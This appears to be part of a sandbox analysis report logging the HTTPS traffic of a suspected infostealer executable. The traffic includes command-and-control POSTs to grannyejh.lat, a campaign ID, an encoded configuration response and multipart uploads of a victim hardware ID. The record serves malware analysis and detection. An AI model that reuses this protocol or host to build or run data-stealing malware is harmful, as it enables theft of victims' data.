2024-12-19 07:46:02 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-12-19 07:46:03 UTC	1122	IN	HTTP/1.1 200 OK Date: Thu, 19 Dec 2024 07:46:02 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=fj9qeas5f0ne4754njohmq52i1; expires=Mon, 14 Apr 2025 01:32:41 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=1U8hdiuFVPjo7Y1tIwIMxT2a6MUWIacc%2FWEpeGvUKJx%2FDcAxGiGqvvRDQ56%2BCxp5k6w3vHA9X4RhQK%2FQjQNn7Zto%2BQO3j8Kxiv8rG9a1T49RR5RYimc8BfjV52dwWMPJ"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f45c6cd7a8372a5-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1814&min_rtt=1813&rtt_var=683&sent=6&recv=7&lost=0&retrans=0&sent_bytes=2831&recv_bytes=904&delivery_rate=1599123&cwnd=203&unsent_bytes=0&cid=f49fa552eb555bea&ts=1012&x=0"
2024-12-19 07:46:03 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2024-12-19 07:46:03 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.6	49710	104.21.64.80	443	4368	C:\Users\user\Desktop\MFQbv2Yuzv.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-19 07:46:04 UTC	261	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 47 Host: grannyejh.lat
2024-12-19 07:46:04 UTC	47	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 50 73 46 4b 44 67 2d 2d 70 61 62 6c 6f 26 6a 3d Data Ascii: act=recive_message&ver=4.0&lid=PsFKDg--pablo&j=
2024-12-19 07:46:05 UTC	1113	IN	HTTP/1.1 200 OK Date: Thu, 19 Dec 2024 07:46:04 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=46j8iguu9ppjnj6ofnd0tqbbri; expires=Mon, 14 Apr 2025 01:32:43 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=kD3ruNdbZ06tZ2FD6YONo8xzzLamMV7vxxKeIRTtlnNsxVDbRNTKFb%2FwmNhLZmZmhxiypJZRZdXPAyIwzpFH6WXG4wDiEwZwEqkIB14nu5WGVwqcQYlVblScTTGRv6zS"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f45c6dabec6420a-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1568&min_rtt=1563&rtt_var=596&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2830&recv_bytes=944&delivery_rate=1820448&cwnd=251&unsent_bytes=0&cid=1ccf36744acfd1c6&ts=825&x=0"
2024-12-19 07:46:05 UTC	256	IN	Data Raw: 34 39 31 63 0d 0a 6b 68 37 43 44 6b 61 6f 6b 50 66 47 37 56 77 49 7a 7a 49 67 44 39 6b 37 31 66 79 33 33 32 38 4a 36 6d 34 41 6f 50 4e 77 42 63 62 70 50 4c 51 73 66 4a 79 38 31 62 57 49 66 6a 4b 37 51 46 56 71 39 52 6d 30 6d 4a 58 6c 43 57 69 47 48 57 57 4d 30 51 5a 6f 35 4b 68 34 6f 32 49 31 7a 62 7a 56 6f 35 56 2b 4d 70 52 4a 41 6d 71 33 47 65 2f 65 30 72 55 4e 61 49 59 4d 59 63 75 63 41 47 6d 6c 2b 6e 4b 6c 5a 69 50 4c 39 4a 61 71 67 44 6c 74 71 6c 4e 4b 59 62 42 57 76 5a 47 56 38 30 31 73 6b 45 77 36 67 72 34 56 63 61 66 66 66 37 46 6c 5a 4e 57 38 6a 4f 53 49 4d 69 72 31 45 45 46 71 75 31 65 7a 6d 4e 79 33 42 32 47 4f 44 57 54 4b 67 78 6c 6a 72 76 70 38 70 6d 63 70 77 75 43 62 6f 49 63 79 61 36 42 54 41 69 50 37 58 71 2f 65 6a 66 31 65 57 59 73 64 63 Data Ascii: 491ckh7CDkaokPfG7VwIzzIgD9k71fy3328J6m4AoPNwBcbpPLQsfJy81bWIfjK7QFVq9Rm0mJXlCWiGHWWM0QZo5Kh4o2I1zbzVo5V+MpRJAmq3Ge/e0rUNaIYMYcucAGml+nKlZiPL9JaqgDltqlNKYbBWvZGV801skEw6gr4Vcafff7FlZNW8jOSIMir1EEFqu1ezmNy3B2GODWTKgxljrvp8pmcpwuCboIcya6BTAiP7Xq/ejf1eWYsdc
2024-12-19 07:46:05 UTC	1369	IN	Data Raw: 65 63 41 6d 48 6b 37 7a 4b 35 4c 43 50 47 73 73 33 6b 68 7a 4a 6b 71 46 4e 4e 61 72 70 5a 70 5a 48 56 76 67 56 6a 6a 41 5a 74 7a 5a 34 63 62 61 50 34 64 61 64 6a 49 38 4c 30 6d 71 66 50 63 43 71 71 53 41 49 31 2b 33 6d 6e 6e 64 61 70 41 48 72 49 45 79 7a 62 30 52 56 72 35 4b 67 38 70 6d 49 6c 78 2f 4b 48 72 49 51 31 62 37 39 62 53 32 43 32 57 62 71 55 32 72 34 4e 62 49 49 47 62 63 69 56 48 32 71 69 38 48 7a 67 49 6d 54 4e 36 74 58 38 7a 78 31 76 76 56 64 4f 65 2f 6c 6a 39 34 47 62 70 45 31 73 68 45 77 36 67 70 6b 58 5a 4b 66 37 63 36 4e 6b 4c 39 6a 79 68 36 4b 43 4f 33 69 72 56 55 78 6e 75 45 75 39 6b 4e 4f 2b 42 47 43 42 43 57 58 47 30 56 77 6e 6f 2b 67 38 2b 43 77 46 78 2f 6d 5a 72 70 67 2b 4b 72 49 65 57 79 32 38 56 66 66 47 6c 62 6b 4d 62 34 6b 49 62 Data Ascii: ecAmHk7zK5LCPGss3khzJkqFNNarpZpZHVvgVjjAZtzZ4cbaP4dadjI8L0mqfPcCqqSAI1+3mnndapAHrIEyzb0RVr5Kg8pmIlx/KHrIQ1b79bS2C2WbqU2r4NbIIGbciVH2qi8HzgImTN6tX8zx1vvVdOe/lj94GbpE1shEw6gpkXZKf7c6NkL9jyh6KCO3irVUxnuEu9kNO+BGCBCWXG0Vwno+g8+CwFx/mZrpg+KrIeWy28VffGlbkMb4kIb
2024-12-19 07:46:05 UTC	1369	IN	Data Raw: 2f 35 4e 70 2f 74 47 38 75 69 4d 65 57 71 6f 45 35 66 4f 31 50 44 48 54 37 58 72 76 65 6a 66 30 41 61 6f 41 4b 63 4d 32 63 45 57 6d 71 2f 33 6d 76 5a 43 54 4b 2f 35 43 67 68 44 56 70 6f 46 52 51 5a 37 74 52 73 70 2f 66 74 30 30 6c 79 41 74 36 67 73 6c 53 56 72 50 37 50 70 56 76 4b 73 54 31 67 2b 53 51 63 48 50 74 56 30 34 74 34 78 6d 36 6c 74 43 34 41 6d 71 43 41 6d 66 49 6e 52 70 70 70 2b 4a 7a 70 47 77 6f 77 76 69 59 71 6f 73 32 59 36 5a 62 52 47 32 36 55 2f 66 51 6c 62 6f 56 4b 39 42 4d 56 73 57 64 48 32 6a 6d 78 58 2b 75 59 69 50 63 73 6f 72 71 6c 6e 35 74 6f 52 41 61 4c 62 64 51 74 35 58 66 75 51 31 73 68 51 6c 68 78 5a 49 66 59 4b 37 2b 65 36 52 67 4c 63 66 30 6c 61 4f 4c 4f 33 69 6f 57 55 35 68 2b 78 66 33 6d 63 33 39 56 53 75 6e 43 33 54 42 76 68 Data Ascii: /5Np/tG8uiMeWqoE5fO1PDHT7Xrvejf0AaoAKcM2cEWmq/3mvZCTK/5CghDVpoFRQZ7tRsp/ft00lyAt6gslSVrP7PpVvKsT1g+SQcHPtV04t4xm6ltC4AmqCAmfInRppp+JzpGwowviYqos2Y6ZbRG26U/fQlboVK9BMVsWdH2jmxX+uYiPcsorqln5toRAaLbdQt5XfuQ1shQlhxZIfYK7+e6RgLcf0laOLO3ioWU5h+xf3mc39VSunC3TBvh
2024-12-19 07:46:05 UTC	1369	IN	Data Raw: 63 71 35 6c 4b 63 7a 36 6b 71 71 43 4e 57 79 6d 56 30 56 72 74 6c 47 36 6d 39 61 38 43 57 47 61 44 32 6e 49 6e 42 67 6e 36 72 42 37 75 43 78 38 69 74 57 5a 6a 5a 38 6c 65 4c 73 51 58 53 4f 69 47 62 43 53 6c 65 56 4e 61 49 63 46 62 63 71 5a 48 57 69 67 2f 6e 71 6d 59 53 48 46 2b 49 65 73 67 54 4e 68 6f 6c 74 51 62 62 5a 64 75 35 72 64 74 67 63 72 78 6b 78 6c 32 74 46 4b 4a 35 48 39 63 36 42 76 4d 6f 72 74 32 37 33 50 4f 57 62 74 43 41 4a 68 74 56 6d 34 6b 74 6d 32 42 57 71 45 41 6d 58 48 6d 42 70 76 74 76 46 34 71 47 30 71 78 66 4f 52 6f 59 6f 36 62 61 6c 57 54 53 33 31 47 62 43 47 6c 65 56 4e 52 4b 38 35 49 4f 4f 72 55 6e 6a 71 36 54 79 6e 59 47 53 53 73 70 6d 6e 67 7a 5a 6c 71 31 6c 4f 5a 37 4a 53 75 35 58 52 73 51 52 75 6a 67 31 6e 78 35 41 57 61 36 37 Data Ascii: cq5lKcz6kqqCNWymV0VrtlG6m9a8CWGaD2nInBgn6rB7uCx8itWZjZ8leLsQXSOiGbCSleVNaIcFbcqZHWig/nqmYSHF+IesgTNholtQbbZdu5rdtgcrxkxl2tFKJ5H9c6BvMort273POWbtCAJhtVm4ktm2BWqEAmXHmBpvtvF4qG0qxfORoYo6balWTS31GbCGleVNRK85IOOrUnjq6TynYGSSspmngzZlq1lOZ7JSu5XRsQRujg1nx5AWa67
2024-12-19 07:46:05 UTC	1369	IN	Data Raw: 79 7a 43 2b 35 53 67 69 6a 4e 73 6f 56 70 44 61 72 56 58 76 39 36 62 2f 51 70 7a 79 46 51 69 34 34 45 4a 64 62 4c 39 58 61 31 6a 5a 4e 57 38 6a 4f 53 49 4d 69 72 31 45 45 74 2f 76 31 53 6c 6c 39 4b 7a 41 6d 69 61 44 57 2f 4a 67 78 56 6f 6f 50 64 77 70 6d 4d 69 79 2f 65 66 71 49 67 37 59 61 4a 63 41 69 50 37 58 71 2f 65 6a 66 30 6a 59 4a 73 62 59 63 79 61 42 48 7a 6b 37 7a 4b 35 4c 43 50 47 73 73 33 6b 6a 44 56 68 71 56 42 4f 62 62 39 55 74 34 7a 61 75 67 70 69 67 78 35 6f 78 5a 59 5a 62 36 2f 2f 65 72 4a 67 4b 74 6a 33 68 37 62 50 63 43 71 71 53 41 49 31 2b 32 2b 77 6a 73 57 2b 54 31 71 65 44 33 54 4a 6e 42 34 6e 75 37 35 6c 34 47 73 6f 69 71 72 56 6f 6f 41 33 61 61 4a 52 53 32 47 32 58 4c 36 62 31 4c 73 4a 59 59 49 4d 5a 4d 53 51 46 32 32 6e 38 58 61 70 Data Ascii: yzC+5SgijNsoVpDarVXv96b/QpzyFQi44EJdbL9Xa1jZNW8jOSIMir1EEt/v1Sll9KzAmiaDW/JgxVooPdwpmMiy/efqIg7YaJcAiP7Xq/ejf0jYJsbYcyaBHzk7zK5LCPGss3kjDVhqVBObb9Ut4zaugpigx5oxZYZb6//erJgKtj3h7bPcCqqSAI1+2+wjsW+T1qeD3TJnB4nu75l4GsoiqrVooA3aaJRS2G2XL6b1LsJYYIMZMSQF22n8Xap
2024-12-19 07:46:05 UTC	1369	IN	Data Raw: 47 53 70 34 34 30 59 36 46 66 52 57 6d 70 55 37 43 4d 31 4c 77 47 5a 6f 51 4d 62 38 2b 62 45 32 36 70 2f 48 47 6e 61 79 76 50 73 74 76 6b 69 43 59 71 39 52 42 6a 59 4c 42 56 37 4d 53 56 6f 6b 4e 79 79 41 74 75 67 73 6c 53 5a 36 37 31 64 71 31 76 4b 38 6e 67 6c 4b 4b 64 50 6d 65 6e 51 6b 68 6d 76 6c 53 36 6b 39 61 37 43 32 43 45 48 6d 76 43 6b 68 6b 6e 36 72 42 37 75 43 78 38 69 74 47 43 73 6f 55 35 5a 72 74 62 51 32 36 74 56 4b 66 65 6d 2f 30 63 62 4a 6c 4d 4f 74 53 42 42 57 43 37 76 6d 58 67 61 79 69 4b 71 74 57 69 68 6a 68 74 71 31 35 51 61 4c 31 57 75 4a 66 63 75 51 56 6f 69 41 68 6d 78 5a 51 52 61 36 2f 33 66 36 39 6f 4c 63 54 37 6d 75 54 42 66 6d 32 31 45 42 6f 74 6d 6b 4b 30 6b 74 6a 39 45 69 57 52 54 47 58 4f 30 55 6f 6e 71 50 35 35 6f 47 59 69 7a Data Ascii: GSp440Y6FfRWmpU7CM1LwGZoQMb8+bE26p/HGnayvPstvkiCYq9RBjYLBV7MSVokNyyAtugslSZ671dq1vK8nglKKdPmenQkhmvlS6k9a7C2CEHmvCkhkn6rB7uCx8itGCsoU5ZrtbQ26tVKfem/0cbJlMOtSBBWC7vmXgayiKqtWihjhtq15QaL1WuJfcuQVoiAhmxZQRa6/3f69oLcT7muTBfm21EBotmkK0ktj9EiWRTGXO0UonqP55oGYiz
2024-12-19 07:46:05 UTC	1369	IN	Data Raw: 36 50 57 53 6a 56 31 51 74 70 47 62 35 33 74 71 6e 54 54 4f 78 46 53 4c 46 6e 56 49 2f 35 4f 56 37 6f 47 73 2b 33 50 57 5a 74 59 51 7a 5a 6f 39 66 52 58 75 34 56 72 53 50 33 50 45 47 5a 73 68 43 49 73 57 4a 55 6a 2f 6b 33 33 75 32 62 77 76 4a 34 35 7a 6b 77 58 35 74 75 78 41 61 4c 59 55 5a 70 5a 33 46 76 67 4a 36 74 6b 77 36 32 36 39 53 62 4c 4c 33 62 4b 4e 36 4c 38 66 2b 68 4a 72 50 5a 6a 37 2f 41 68 41 2f 36 55 62 33 67 65 72 7a 54 57 72 49 56 46 76 62 30 51 51 6e 2f 4b 49 79 34 48 35 6b 6b 72 4c 53 70 35 30 73 62 4b 35 47 51 53 71 46 5a 35 43 49 33 37 6f 64 62 4a 38 44 49 6f 7a 52 48 53 66 38 79 54 79 70 61 7a 2f 62 35 4a 69 30 69 48 35 56 34 78 42 61 4c 65 4d 5a 67 70 33 62 73 77 70 39 6d 55 46 46 31 4a 73 56 64 36 50 6e 63 2b 41 69 5a 4d 79 79 7a 66 Data Ascii: 6PWSjV1QtpGb53tqnTTOxFSLFnVI/5OV7oGs+3PWZtYQzZo9fRXu4VrSP3PEGZshCIsWJUj/k33u2bwvJ45zkwX5tuxAaLYUZpZ3FvgJ6tkw6269SbLL3bKN6L8f+hJrPZj7/AhA/6Ub3gerzTWrIVFvb0QQn/KIy4H5kkrLSp50sbK5GQSqFZ5CI37odbJ8DIozRHSf8yTypaz/b5Ji0iH5V4xBaLeMZgp3bswp9mUFF1JsVd6Pnc+AiZMyyzf
2024-12-19 07:46:05 UTC	1369	IN	Data Raw: 34 56 68 42 64 36 46 6e 69 62 58 5a 75 77 70 78 6a 77 70 45 34 74 46 63 4a 36 75 77 4a 4a 6b 73 62 49 72 4e 32 2b 53 58 66 6a 4c 74 5a 55 46 6a 74 56 36 68 6a 35 69 56 4c 6c 47 79 54 6b 37 46 68 46 42 54 6f 2b 42 74 71 32 45 6f 69 72 7a 56 6f 73 39 6d 4f 75 4d 51 52 6e 7a 37 41 65 66 4d 6a 75 68 65 50 4e 68 65 66 59 79 49 55 6e 48 6b 71 43 37 75 4c 44 61 4b 71 74 58 6a 6a 43 78 34 71 31 4e 55 62 76 78 6e 69 62 6e 62 75 67 78 39 6d 42 74 74 2f 4b 38 48 5a 4b 72 2b 65 37 5a 39 5a 49 53 79 6d 75 54 58 42 79 72 6c 45 48 30 6a 2b 30 48 33 78 70 57 49 44 6d 57 47 43 33 54 54 33 44 56 70 6f 2f 46 71 73 48 73 72 69 72 7a 56 6f 73 39 6d 4f 4f 4d 51 52 6e 7a 37 41 65 66 4d 6a 75 68 65 50 4e 68 65 66 59 79 49 55 6e 48 6b 71 43 37 75 4c 44 61 4b 71 74 58 6a 6a 43 78 Data Ascii: 4VhBd6FnibXZuwpxjwpE4tFcJ6uwJJksbIrN2+SXfjLtZUFjtV6hj5iVLlGyTk7FhFBTo+Btq2EoirzVos9mOuMQRnz7AefMjuhePNhefYyIUnHkqC7uLDaKqtXjjCx4q1NUbvxnibnbugx9mBtt/K8HZKr+e7Z9ZISymuTXByrlEH0j+0H3xpWIDmWGC3TT3DVpo/FqsHsrirzVos9mOOMQRnz7AefMjuhePNhefYyIUnHkqC7uLDaKqtXjjCx
2024-12-19 07:46:05 UTC	1369	IN	Data Raw: 69 33 6a 47 62 61 55 78 62 41 43 62 4d 51 4c 65 4d 58 52 58 43 65 71 73 43 54 67 62 53 37 61 2f 35 71 6a 77 7a 68 6b 6f 78 42 64 49 36 49 5a 6f 64 36 4e 37 6b 4d 72 6d 6b 77 36 67 74 59 52 64 62 62 32 66 37 5a 76 59 2f 54 4d 75 4c 61 49 4c 6d 6e 76 59 55 39 70 72 55 79 30 6a 74 4b 44 4d 30 61 61 43 33 4c 42 30 79 4e 78 70 2f 42 79 70 79 78 71 69 75 72 56 2f 4d 38 54 65 4b 70 41 51 53 33 31 47 62 76 65 6a 66 30 41 65 59 38 63 59 59 36 57 43 47 44 6b 37 7a 4b 35 4c 44 4b 4b 71 73 62 71 7a 79 77 71 39 52 41 46 59 37 5a 59 74 4a 44 57 72 78 39 74 69 78 70 68 68 61 38 73 53 72 62 33 62 4b 4d 75 46 63 66 32 67 37 47 4d 4c 6d 32 54 62 6d 39 2f 76 45 6d 30 33 50 6d 36 41 47 65 32 4d 6c 58 54 6c 67 49 6c 67 76 4e 71 6f 79 78 71 69 75 72 56 2f 4d 38 54 65 4b 70 41 Data Ascii: i3jGbaUxbACbMQLeMXRXCeqsCTgbS7a/5qjwzhkoxBdI6IZod6N7kMrmkw6gtYRdbb2f7ZvY/TMuLaILmnvYU9prUy0jtKDM0aaC3LB0yNxp/BypyxqiurV/M8TeKpAQS31Gbvejf0AeY8cYY6WCGDk7zK5LDKKqsbqzywq9RAFY7ZYtJDWrx9tixphha8sSrb3bKMuFcf2g7GMLm2Tbm9/vEm03Pm6AGe2MlXTlgIlgvNqoyxqiurV/M8TeKpA

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.6	49712	104.21.64.80	443	4368	C:\Users\user\Desktop\MFQbv2Yuzv.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-19 07:46:06 UTC	278	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=39GTNV83S6FESCI9J User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 12853 Host: grannyejh.lat
2024-12-19 07:46:06 UTC	12853	OUT	Data Raw: 2d 2d 33 39 47 54 4e 56 38 33 53 36 46 45 53 43 49 39 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 34 38 33 46 41 31 38 39 32 37 41 42 34 44 44 34 41 43 38 39 32 33 38 35 30 33 30 35 44 31 33 45 0d 0a 2d 2d 33 39 47 54 4e 56 38 33 53 36 46 45 53 43 49 39 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 33 39 47 54 4e 56 38 33 53 36 46 45 53 43 49 39 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 50 73 46 4b 44 67 2d 2d 70 61 62 6c 6f 0d 0a 2d Data Ascii: --39GTNV83S6FESCI9JContent-Disposition: form-data; name="hwid"483FA18927AB4DD4AC8923850305D13E--39GTNV83S6FESCI9JContent-Disposition: form-data; name="pid"2--39GTNV83S6FESCI9JContent-Disposition: form-data; name="lid"PsFKDg--pablo-
2024-12-19 07:46:07 UTC	1128	IN	HTTP/1.1 200 OK Date: Thu, 19 Dec 2024 07:46:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=445hcm1sbrimc4g2ko98k68836; expires=Mon, 14 Apr 2025 01:32:46 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=vxQCKeyi0P%2FEYvSxQ%2B4q%2BrBD8NrU7DdWMPCJIbcQTxYrddpV3HlcGz6sZMioREACNdnJU8DWN5hMXTzspTKbOWP%2Fl5ruIrJF0CDZ%2FFmkAiVJcC96T02nOOlf1z5%2B%2BZ7V"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f45c6e95ded43a4-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1580&min_rtt=1571&rtt_var=607&sent=9&recv=17&lost=0&retrans=0&sent_bytes=2831&recv_bytes=13789&delivery_rate=1776155&cwnd=232&unsent_bytes=0&cid=fbf70d2ad1cd52b7&ts=948&x=0"
2024-12-19 07:46:07 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-19 07:46:07 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.6	49718	104.21.64.80	443	4368	C:\Users\user\Desktop\MFQbv2Yuzv.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-19 07:46:09 UTC	269	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=AAOZVF18 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 15045 Host: grannyejh.lat
2024-12-19 07:46:09 UTC	15045	OUT	Data Raw: 2d 2d 41 41 4f 5a 56 46 31 38 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 34 38 33 46 41 31 38 39 32 37 41 42 34 44 44 34 41 43 38 39 32 33 38 35 30 33 30 35 44 31 33 45 0d 0a 2d 2d 41 41 4f 5a 56 46 31 38 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 41 41 4f 5a 56 46 31 38 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 50 73 46 4b 44 67 2d 2d 70 61 62 6c 6f 0d 0a 2d 2d 41 41 4f 5a 56 46 31 38 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 Data Ascii: --AAOZVF18Content-Disposition: form-data; name="hwid"483FA18927AB4DD4AC8923850305D13E--AAOZVF18Content-Disposition: form-data; name="pid"2--AAOZVF18Content-Disposition: form-data; name="lid"PsFKDg--pablo--AAOZVF18Content-Disposit
2024-12-19 07:46:10 UTC	1127	IN	HTTP/1.1 200 OK Date: Thu, 19 Dec 2024 07:46:09 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=hsuo0n03v2jiqgaf4qv7u7e9o9; expires=Mon, 14 Apr 2025 01:32:48 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=vdh4Ip%2BTG3JU34KHfSzhNjW137JQcShSKJOIWtL9THqJBXsExdOHWfkueeRhi4YVD%2FvoQg0as%2Bq544%2BRfLpWg7zw4ZPO4B89g7T%2BZSJb%2FV2mzlbcAoLZIyjsfRyRliOU"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f45c6f7ac38422b-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1602&min_rtt=1599&rtt_var=606&sent=10&recv=21&lost=0&retrans=0&sent_bytes=2830&recv_bytes=15972&delivery_rate=1798029&cwnd=220&unsent_bytes=0&cid=1d585ab1b7472b53&ts=874&x=0"
2024-12-19 07:46:10 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-19 07:46:10 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.6	49729	104.21.64.80	443	4368	C:\Users\user\Desktop\MFQbv2Yuzv.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-19 07:46:11 UTC	278	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=9WY8TMIYMD3MHSS35 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 19957 Host: grannyejh.lat
2024-12-19 07:46:11 UTC	15331	OUT	Data Raw: 2d 2d 39 57 59 38 54 4d 49 59 4d 44 33 4d 48 53 53 33 35 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 34 38 33 46 41 31 38 39 32 37 41 42 34 44 44 34 41 43 38 39 32 33 38 35 30 33 30 35 44 31 33 45 0d 0a 2d 2d 39 57 59 38 54 4d 49 59 4d 44 33 4d 48 53 53 33 35 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 39 57 59 38 54 4d 49 59 4d 44 33 4d 48 53 53 33 35 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 50 73 46 4b 44 67 2d 2d 70 61 62 6c 6f 0d 0a 2d Data Ascii: --9WY8TMIYMD3MHSS35Content-Disposition: form-data; name="hwid"483FA18927AB4DD4AC8923850305D13E--9WY8TMIYMD3MHSS35Content-Disposition: form-data; name="pid"3--9WY8TMIYMD3MHSS35Content-Disposition: form-data; name="lid"PsFKDg--pablo-
